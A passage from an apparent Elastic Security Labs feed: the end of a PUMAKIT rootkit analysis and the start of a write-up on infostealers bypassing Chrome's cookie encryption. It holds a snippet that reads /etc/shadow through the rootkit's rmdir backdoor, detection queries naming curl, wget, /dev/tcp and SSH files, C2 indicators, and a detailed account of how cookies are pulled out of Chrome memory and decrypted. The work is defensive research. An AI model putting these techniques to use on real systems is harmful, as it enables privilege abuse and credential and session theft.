        perror(&quot;Failed to execute 'id'&quot;);
        return 1;
    }

    // Display the contents of /etc/shadow
    printf(&quot;\n--- Displaying '/etc/shadow' ---\n&quot;);
    if (system(&quot;cat /etc/shadow&quot;) == -1) {
        perror(&quot;Failed to execute 'cat /etc/shadow'&quot;);
        return 1;
    }

    return 0;
}
</code></pre>
<p>With success.</p>
<pre><code class="language-bash">ubuntu-rk:~/testing$ ./get_root
rmdir: successfully removed 'zarya.0'

--- Running 'id' command ---
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd),1000(ruben)

--- Displaying '/etc/shadow' ---
root:*:19430:0:99999:7:::
[...]
</code></pre>
<p>Although there are more commands available in the <code>rmdir()</code> function, we will, for now, move on to the next and may add them to a future publication.</p>
<h4>LKM rootkit overview: getdents() and getdents64() hooks</h4>
<p>The <code>getdents_hook()</code> and <code>getdents64_hook()</code> in the rootkit are responsible for manipulating directory listing syscalls to hide files and directories from users.</p>
<p>The getdents() and getdents64() syscalls are used to read directory entries. The rootkit hooks these functions to filter out any entries that match specific criteria. Specifically, files and directories with the prefix zov_ are hidden from any user attempting to list the contents of a directory.</p>
<p>For example:</p>
<pre><code class="language-bash">ubuntu-rk:~/getdents_hook$ mkdir zov_hidden_dir

ubuntu-rk:~/getdents_hook$ ls -lah
total 8.0K
drwxrwxr-x  3 ruben ruben 4.0K Dec  9 11:11 .
drwxr-xr-x 11 ruben ruben 4.0K Dec  9 11:11 ..

ubuntu-rk:~/getdents_hook$ echo &quot;this file is now hidden&quot; &gt; zov_hidden_dir/zov_hidden_file

ubuntu-rk:~/getdents_hook$ ls -lah zov_hidden_dir/
total 8.0K
drwxrwxr-x 2 ruben ruben 4.0K Dec  9 11:11 .
drwxrwxr-x 3 ruben ruben 4.0K Dec  9 11:11 ..

ubuntu-rk:~/getdents_hook$ cat zov_hidden_dir/zov_hidden_file
this file is now hidden
</code></pre>
<p>Here, the file <code>zov_hidden</code> can be accessed directly using its entire path. However, when running the <code>ls</code> command, it does not appear in the directory listing.</p>
<h3>Stage 4: Kitsune SO overview</h3>
<p>While digging deeper into the rootkit, another ELF file was identified within the kernel object file. After extracting this binary, we discovered this is the <code>/lib64/libs.so</code> file. Upon examination, we encountered several references to strings such as <code>Kitsune PID %ld</code>. This suggests that the SO is referred to as Kitsune by the developers. Kitsune may be responsible for certain behaviors observed in the rootkit. These references align with the broader context of how the rootkit manipulates user-space interactions via <code>LD_PRELOAD</code>.</p>
<p>This SO file plays a role in achieving the persistence and stealth mechanisms central to this rootkit, and its integration within the attack chain demonstrates the sophistication of its design. We will now showcase how to detect and/or prevent each part of the attack chain.</p>
<h2>PUMAKIT execution chain detection &amp; prevention</h2>
<p>This section will display different EQL/KQL rules and YARA signatures that can prevent and detect different parts of the PUMAKIT execution chain.</p>
<h3>Stage 1: Cron</h3>
<p>Upon execution of the dropper, an uncommon event is saved in syslog. The event states that a process has started with an executable stack. This is uncommon and interesting to watch:</p>
<pre><code class="language-sysmon">[  687.108154] process '/home/ruben_groenewoud/30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f' started with executable stack
</code></pre>
<p>We can search for this through the following query:</p>
<pre><code>host.os.type:linux and event.dataset:&quot;system.syslog&quot; and process.name:kernel and message: &quot;started with executable stack&quot;
</code></pre>
<p>This message is stored in <code>/var/log/messages</code> or <code>/var/log/syslog</code>. We can detect this by reading syslog through <a href="https://www.elastic.co/pt/guide/en/beats/filebeat/current/filebeat-overview.html">Filebeat</a> or the Elastic agent <a href="https://www.elastic.co/pt/guide/en/integrations/current/system.html">system integration</a>.</p>
<h3>Stage 2: Memory-resident executables</h3>
<p>We can see an unusual file descriptor execution right away. This can be detected through the following EQL query:</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.parent.executable like &quot;/dev/fd/*&quot; and not process.parent.command_line == &quot;runc init&quot;
</code></pre>
<p>This file descriptor will remain the parent of the dropper until the process ends, resulting in the execution of several files through this parent process as well:</p>
<pre><code class="language-sql">file where host.os.type == &quot;linux&quot; and event.type == &quot;creation&quot; and process.executable like &quot;/dev/fd/*&quot; and file.path like (
  &quot;/boot/*&quot;, &quot;/dev/shm/*&quot;, &quot;/etc/cron.*/*&quot;, &quot;/etc/init.d/*&quot;, &quot;/var/run/*&quot;
  &quot;/etc/update-motd.d/*&quot;, &quot;/tmp/*&quot;, &quot;/var/log/*&quot;, &quot;/var/tmp/*&quot;
)
</code></pre>
<p>After <code>/tmp/script.sh</code> is dropped (detected through the queries above), we can detect its execution by querying for file attribute discovery and unarchiving activity:</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and event.action == &quot;exec&quot; and 
(process.parent.args like &quot;/boot/*&quot; or process.args like &quot;/boot/*&quot;) and (
  (process.name in (&quot;file&quot;, &quot;unlzma&quot;, &quot;gunzip&quot;, &quot;unxz&quot;, &quot;bunzip2&quot;, &quot;unzstd&quot;, &quot;unzip&quot;, &quot;tar&quot;)) or
  (process.name == &quot;grep&quot; and process.args == &quot;ELF&quot;) or
  (process.name in (&quot;lzop&quot;, &quot;lz4&quot;) and process.args in (&quot;-d&quot;, &quot;--decode&quot;))
) and
not process.parent.name == &quot;mkinitramfs&quot;
</code></pre>
<p>The script continues to seek the memory of the Linux kernel image through the <code>tail</code> command. This can be detected, along with other memory-seeking tools, through the following query:</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and event.action == &quot;exec&quot; and
(process.parent.args like &quot;/boot/*&quot; or process.args like &quot;/boot/*&quot;) and (
  (process.name == &quot;tail&quot; and (process.args like &quot;-c*&quot; or process.args == &quot;--bytes&quot;)) or
  (process.name == &quot;cmp&quot; and process.args == &quot;-i&quot;) or
  (process.name in (&quot;hexdump&quot;, &quot;xxd&quot;) and process.args == &quot;-s&quot;) or
  (process.name == &quot;dd&quot; and process.args : (&quot;skip*&quot;, &quot;seek*&quot;))
)
</code></pre>
<p>Once <code>/tmp/script.sh</code> is done executing, <code>/memfd:tgt (deleted)</code> and <code>/memfd:wpn (deleted)</code> are created. The <code>tgt</code> executable, which is the benign Cron executable, creates a <code>/run/crond.pid</code> file. This is nothing malicious but an artifact that can be detected through a simple query.</p>
<pre><code class="language-sql">file where host.os.type == &quot;linux&quot; and event.type == &quot;creation&quot; and file.extension in (&quot;lock&quot;, &quot;pid&quot;) and
file.path like (&quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;, &quot;/run/*&quot;, &quot;/var/run/*&quot;, &quot;/var/lock/*&quot;, &quot;/dev/shm/*&quot;) and process.executable != null
</code></pre>
<p>The <code>wpn</code> executable will, if all conditions are met, load the LKMrootkit.</p>
<h3>Stage 3: Rootkit kernel  module</h3>
<p>The loading of kernel module is detectable through Auditd Manager by applying the following configuration:</p>
<pre><code>-a always,exit -F arch=b64 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules
-a always,exit -F arch=b32 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules
</code></pre>
<p>And using the following query:</p>
<pre><code class="language-sql">driver where host.os.type == &quot;linux&quot; and event.action == &quot;loaded-kernel-module&quot; and auditd.data.syscall in (&quot;init_module&quot;, &quot;finit_module&quot;)
</code></pre>
<p>For more information on leveraging Auditd with Elastic Security to enhance your Linux detection engineering experience, check out our <a href="https://www.elastic.co/pt/security-labs/linux-detection-engineering-with-auditd">Linux detection engineering with Auditd</a> research published on the Elastic Security Labs site.</p>
<p>Upon initialization, the LKM taints the kernel, as it is not signed.</p>
<pre><code>audit: module verification failed: signature and/or required key missing - tainting kernel
</code></pre>
<p>We can detect this behavior through the following KQL query:</p>
<pre><code>host.os.type:linux and event.dataset:&quot;system.syslog&quot; and process.name:kernel and message:&quot;module verification failed: signature and/or required key missing - tainting kernel&quot;
</code></pre>
<p>Also, the LKM has faulty code, causing it to segfault several times. For example:</p>
<pre><code>Dec  9 13:26:10 ubuntu-rk kernel: [14350.711419] cat[112653]: segfault at 8c ip 00007f70d596b63c sp 00007fff9be81360 error 4
Dec  9 13:26:10 ubuntu-rk kernel: [14350.711422] Code: 83 c4 20 48 89 d0 5b 5d 41 5c c3 48 8d 42 01 48 89 43 08 0f b6 02 41 88 44 2c ff eb c1 8b 7f 78 e9 25 5c 00 00 c3 41 54 55 53 &lt;8b&gt; 87 8c 00 00 00 48 89 fb 85 c0 79 1b e8 d7 00 00 00 48 89 df 89
</code></pre>
<p>This can be detected through a simple KQL query that queries for segfaults in the <code>kern.log</code> file.</p>
<pre><code>host.os.type:linux and event.dataset:&quot;system.syslog&quot; and process.name:kernel and message:segfault
</code></pre>
<p>Once the kernel module is loaded, we can see traces of command execution through the <code>kthreadd</code> process. The rootkit creates new kernel threads to execute specific commands. For example, the rootkit executes the following commands at short intervals:</p>
<pre><code class="language-bash">cat /dev/null
truncate -s 0 /usr/share/zov_f/zov_latest
</code></pre>
<p>We can detect these and more potentially suspicious commands through a query such as the following:</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and event.type == &quot;start&quot; and event.action == &quot;exec&quot; and process.parent.name == &quot;kthreadd&quot; and (
  process.executable like (&quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;, &quot;/dev/shm/*&quot;, &quot;/var/www/*&quot;, &quot;/bin/*&quot;, &quot;/usr/bin/*&quot;, &quot;/usr/local/bin/*&quot;) or
  process.name in (&quot;bash&quot;, &quot;dash&quot;, &quot;sh&quot;, &quot;tcsh&quot;, &quot;csh&quot;, &quot;zsh&quot;, &quot;ksh&quot;, &quot;fish&quot;, &quot;whoami&quot;, &quot;curl&quot;, &quot;wget&quot;, &quot;id&quot;, &quot;nohup&quot;, &quot;setsid&quot;) or
  process.command_line like (
    &quot;*/etc/cron*&quot;, &quot;*/etc/rc.local*&quot;, &quot;*/dev/tcp/*&quot;, &quot;*/etc/init.d*&quot;, &quot;*/etc/update-motd.d*&quot;,
    &quot;*/etc/ld.so*&quot;, &quot;*/etc/sudoers*&quot;, &quot;*base64 *&quot;, &quot;*base32 *&quot;, &quot;*base16 *&quot;, &quot;*/etc/profile*&quot;,
    &quot;*/dev/shm/*&quot;, &quot;*/etc/ssh*&quot;, &quot;*/home/*/.ssh/*&quot;, &quot;*/root/.ssh*&quot; , &quot;*~/.ssh/*&quot;, &quot;*autostart*&quot;,
    &quot;*xxd *&quot;, &quot;*/etc/shadow*&quot;
  )
) and not process.name == &quot;dpkg&quot;
</code></pre>
<p>We can also detect the rootkits’ method of elevating privileges by analyzing the <code>rmdir</code> command for unusual UID/GID changes.</p>
<pre><code class="language-sql">process where host.os.type == &quot;linux&quot; and event.type == &quot;change&quot; and event.action in (&quot;uid_change&quot;, &quot;guid_change&quot;) and process.name == &quot;rmdir&quot;
</code></pre>
<p>Several other behavioral rules may also trigger, depending on the execution chain.</p>
<h2>One YARA signature to rule them all</h2>
<p>Elastic Security has created a <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_Pumakit.yar">YARA signature</a> to identify PUMAKIT (the dropper (<code>cron</code>), the rootkit loader(<code>/memfd:wpn</code>), the LKM rootkit and the Kitsune shared object files. The signature is displayed below:</p>
<pre><code class="language-YARA">rule Linux_Trojan_Pumakit {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-12-09&quot;
        last_modified = &quot;2024-12-09&quot;
        os = &quot;Linux&quot;
        arch = &quot;x86, arm64&quot;
        threat_name = &quot;Linux.Trojan.Pumakit&quot;

    strings:
        $str1 = &quot;PUMA %s&quot;
        $str2 = &quot;Kitsune PID %ld&quot;
        $str3 = &quot;/usr/share/zov_f&quot;
        $str4 = &quot;zarya&quot;
        $str5 = &quot;.puma-config&quot;
        $str6 = &quot;ping_interval_s&quot;
        $str7 = &quot;session_timeout_s&quot;
        $str8 = &quot;c2_timeout_s&quot;
        $str9 = &quot;LD_PRELOAD=/lib64/libs.so&quot;
        $str10 = &quot;kit_so_len&quot;
        $str11 = &quot;opsecurity1.art&quot;
        $str12 = &quot;89.23.113.204&quot;
    
    condition:
        4 of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f</code></td>
<td>SHA256</td>
<td><code>cron</code></td>
<td>PUMAKIT dropper</td>
</tr>
<tr>
<td><code>cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe</code></td>
<td>SHA256</td>
<td><code>/memfd:wpn (deleted</code>)</td>
<td>PUMAKIT loader</td>
</tr>
<tr>
<td><code>934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136</code></td>
<td>SHA256</td>
<td><code>/memfd:tgt (deleted)</code></td>
<td>Cron binary</td>
</tr>
<tr>
<td><code>8ef63f9333104ab293eef5f34701669322f1c07c0e44973d688be39c94986e27</code></td>
<td>SHA256</td>
<td><code>libs.so</code></td>
<td>Kitsune shared object reference</td>
</tr>
<tr>
<td><code>8ad422f5f3d0409747ab1ac6a0919b1fa8d83c3da43564a685ae4044d0a0ea03</code></td>
<td>SHA256</td>
<td><code>some2.elf</code></td>
<td>PUMAKIT variant</td>
</tr>
<tr>
<td><code>bbf0fd636195d51fb5f21596d406b92f9e3d05cd85f7cd663221d7d3da8af804</code></td>
<td>SHA256</td>
<td><code>some1.so</code></td>
<td>Kitsune shared object variant</td>
</tr>
<tr>
<td><code>bc9193c2a8ee47801f5f44beae51ab37a652fda02cd32d01f8e88bb793172491</code></td>
<td>SHA256</td>
<td><code>puma.ko</code></td>
<td>LKM rootkit</td>
</tr>
<tr>
<td><code>1aab475fb8ad4a7f94a7aa2b17c769d6ae04b977d984c4e842a61fb12ea99f58</code></td>
<td>SHA256</td>
<td><code>kitsune.so</code></td>
<td>Kitsune</td>
</tr>
<tr>
<td><code>sec.opsecurity1[.]art</code></td>
<td>domain-name</td>
<td></td>
<td>PUMAKIT C2 Server</td>
</tr>
<tr>
<td><code>rhel.opsecurity1[.]art</code></td>
<td>domain-name</td>
<td></td>
<td>PUMAKIT C2 Server</td>
</tr>
<tr>
<td><code>89.23.113[.]204</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PUMAKIT C2 Server</td>
</tr>
</tbody>
</table>
<h2>Concluding Statement</h2>
<p>PUMAKIT is a complex and stealthy threat that uses advanced techniques like syscall hooking, memory-resident execution, and unique privilege escalation methods. Its multi-architectural design highlights the growing sophistication of malware targeting Linux systems.</p>
<p>Elastic Security Labs will continue to analyze PUMAKIT, monitor its behavior, and track any updates or new variants. By refining detection methods and sharing actionable insights, we aim to keep defenders one step ahead.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/declawing-pumakit/pumakit.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Katz and Mouse Game:  MaaS Infostealers Adapt to Patched Chrome Defenses]]></title>
            <link>https://www.elastic.co/pt/security-labs/katz-and-mouse-game</link>
            <guid>katz-and-mouse-game</guid>
            <pubDate>Mon, 28 Oct 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs breaks down bypass implementations from the infostealer ecosystem’s reaction to Chrome 127's Application-Bound Encryption scheme.]]></description>
            <content:encoded><![CDATA[<h1>Introduction</h1>
<p>In July, Google <a href="https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html">announced</a> a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.</p>
<p>Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:</p>
<ul>
<li>STEALC/VIDAR</li>
<li>METASTEALER</li>
<li>PHEMEDRONE</li>
<li>XENOSTEALER</li>
<li>LUMMA</li>
</ul>
<h1>Key takeaways</h1>
<ul>
<li>Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption</li>
<li>Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome</li>
<li>Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term</li>
<li>Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity</li>
</ul>
<h1>Background</h1>
<p>Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.</p>
<p>The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.</p>
<p>A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.</p>
<p>Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.</p>
<h2>Google Chrome Cookie Security</h2>
<p>Legacy versions of Google Chrome on Windows used the Windows native <a href="https://learn.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection">Data Protection API</a> (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now <a href="https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107">well known to attackers</a> with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.</p>
<p>With the release of Chrome 127 in July 2024, Google <a href="https://developer.chrome.com/release-notes/127">implemented</a> Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image5.png" alt="Chrome 127 Application-Bound Encryption Scheme. Source: https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html" /></p>
<p>While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.</p>
<h1>Stealer Bypass Techniques, Summarized</h1>
<p>The following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:</p>
<ul>
<li>Remote debugging via Chrome’s DevTools Protocol</li>
<li>Reading process memory of Chrome network service process (ChromeKatz and <code>ReadProcessMemory</code> (RPM))</li>
<li>Elevating to <code>SYSTEM</code> then decrypting <code>app_bound_encryption_key</code> with the <code>DecryptData</code> method of <code>GoogleChromeElevationService</code> through COM</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image30.png" alt="Timeline of events" /></p>
<h2>STEALC/VIDAR</h2>
<p>Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.</p>
<blockquote>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc">STEALC</a> was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.raccoon">RACOON</a> and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar">VIDAR</a>. STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.</p>
</blockquote>
<p>During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with <code>v20</code>, a child process is spawned using the embedded PE file in the <code>.data</code> section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image2.png" alt="Embedded PE file" /></p>
<p>This embedded binary creates a hidden desktop via <code>OpenDesktopA</code> / <code>CreateDesktopA</code> then uses <code>CreateToolhelp32Snapshot</code> to scan and terminate all <code>chrome.exe</code> processes. A new <code>chrome.exe</code> process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature <a href="https://www.chromium.org/developers/design-documents/network-stack/cookiemonster/">CookieMonster</a>, an internal component used to manage cookies.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image38.png" alt="Signature pattern for CookieMonster" /></p>
<p>We used the <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Main.cpp#L123">signature patterns</a> to pivot to existing code developed for an offensive security tool called <a href="https://github.com/Meckazin/ChromeKatz">ChromeKatz</a>. At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature.</p>
<p>Once the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the <code>--utility-sub-type=network.mojom.NetworkService</code> command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s <a href="https://www.mdsec.co.uk/2021/01/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors/">post</a>. It then returns a handle for that specific child process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image37.png" alt="Enumerating for Chrome’s network service" /></p>
<p>Next, it enumerates each module in the network service child process to find and retrieve the base address and size of <code>chrome.dll</code> loaded into memory. STEALC uses <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CredentialKatz/Memory.cpp#L280"><code>CredentialKatz::FindDllPattern</code></a> and <a href="https://github.com/Meckazin/ChromeKatz/blob/767047dcf8f53c70be5e3e0859c5eee3f129d758/CookieKatz/Memory.cpp#L435"><code>CookieKatz::FindPattern</code></a> to locate the CookieMonster instances. There are 2 calls to <code>CredentialKatz::FindDllPattern</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image17.png" alt="Calls to CredentialKatz::FindDllPattern" /></p>
<p>In the first call to <code>CredentialKatz::FindDllPattern</code>, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in <code>chrome.dll</code>. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function <code>net::CookieMonster::~CookieMonster</code>, destructor of the <code>CookieMonster</code> class.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image14.png" alt="Byte sequence for net::CookieMonster::~CookieMonster found in chrome.dll" /></p>
<p>The second call to <code>CredentialKatz::FindDllPattern</code> passes in the function address for <code>net::CookieMonster::~CookieMonster(void)</code> as an argument for the byte sequence search, resulting in STEALC having a pointer to <code>CookieMonster</code>’s Virtual Function Pointer struct.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image19.png" alt="CookieMonster’s vtable in chrome.dll" /></p>
<p>The following method used by STEALC is again, identical to ChromeKatz, where it locates <code>CookieMonster</code> instances by scanning memory chunks in the <code>chrome.dll</code> module for pointers referencing the <code>CookieMonster</code> vtable. Since the vtable is a constant across all objects of a given class, any <code>CookieMonster</code> object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a <code>CookieMonster</code> instance and stores its address in an array.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image16.png" alt="Using CookieKatz::FindPattern to locate CookieMonster instances" /></p>
<p>For each identified <code>CookieMonster</code> instance, STEALC accesses the internal <code>CookieMap</code> structure located at an offset of <code>+0x30</code>, and which is a binary tree. Each node within this tree contains pointers to <code>CanonicalCookieChrome</code> structures. <code>CanonicalCookieChrome</code> structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image20.png" alt="Initiating CookieMap tree traversal for each CookieMonster instance found" /></p>
<p>For each node, it calls <code>ReadProcessMemory</code> to access the <code>CanonicalCookieChrome</code> structure from the target process’s memory, then further processing it in <code>jy::GenerateExfilString</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image31.png" alt="CookieMap traversal subroutine" /></p>
<p>STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the <code>HttpOnly</code> and <code>Secure</code> flags. It then appends details such as the cookie's name, value, domain, path, and the <code>HttpOnly</code> and <code>Secure</code> into a final string for exfiltration. <a href="https://github.com/Meckazin/ChromeKatz/blob/9152004174e9a0b2d092c70ebc75efbf80fa1098/CookieKatz/Memory.cpp#L10"><code>OptimizedString</code></a> structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image23.png" alt="Constructing string for data exfiltration" /></p>
<h2>METASTEALER</h2>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer">METASTEALER</a>, first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version <code>129+</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image26.png" alt="METASTEALER announcement and translation" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image28.png" alt="source: https://x.com/g0njxa/status/1840761619686568319/" /></p>
<p>The <a href="https://www.virustotal.com/gui/file/973a9056040af402d6f92f436a287ea164fae09c263f80aba0b8d5366ed9957a">first sample</a> observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing <code>Administrator</code> privileges, our testing revealed it does require elevated access, as it attempts to impersonate the <code>SYSTEM</code> token during execution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image11.png" alt="Code comparison between an old and a new version of the family" /></p>
<p>As shown in the screenshots above, the <code>get_decryption</code> method now includes a new Boolean parameter. This value is set to <code>TRUE</code> if the encrypted data (cookie) begins with the <code>v20</code> prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.</p>
<p>The malware then attempts to access the <code>Local State</code> or <code>LocalPrefs.json</code> files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (<code>encrypted_key</code>) for older Chrome versions and <code>app_bound_encrypted_key</code> for newer ones. If the flag is set to <code>TRUE</code>, the malware specifically uses the <code>app_bound_encrypted_key</code> to decrypt cookies in line with the updated Chrome encryption method.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image13.png" alt="app_bound_encrypted_key extracted from Chrome json file" /></p>
<p>In this case, the malware first impersonates the <code>SYSTEM</code> token using a newly introduced class called <code>ContextSwitcher</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image35.png" alt="New class for TOKEN impersonation" /></p>
<p>It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named <code>GoogleChromeElevationService</code>, using the CLSID <code>708860E0-F641-4611-8895-7D867DD3675B</code>. Once initialized, it invokes the <a href="https://github.com/chromium/chromium/blob/225f82f8025e4f93981310fd33daa71dc972bfa9/chrome/elevation_service/elevator.cc#L155"><code>DecryptData</code></a> method to decrypt the <code>app_bound_encrypted_key</code> key which will be used to decrypt the encrypted cookies.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/katz-and-mouse-game/image8.png" alt="New class ComInvoker to invoke methods from GoogleChromeElevationService service" /></p>
<p>METASTEALER employs a technique similar to the one demonstrated in a <a href="https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824">gist</a> shared <a href="https://x.com/snovvcrash/status/1839715912812802162">on X</a> on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.</p>
<h2>PHEMEDRONE</h2>
<p>This <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer">open-source stealer</a> caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent <a href="https://www.virustotal.com/gui/file/1067d27007ea862ddd68e90ef68b6d17fa18f9305c09f72bad04d00102a60b8c">release</a> (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.</p>
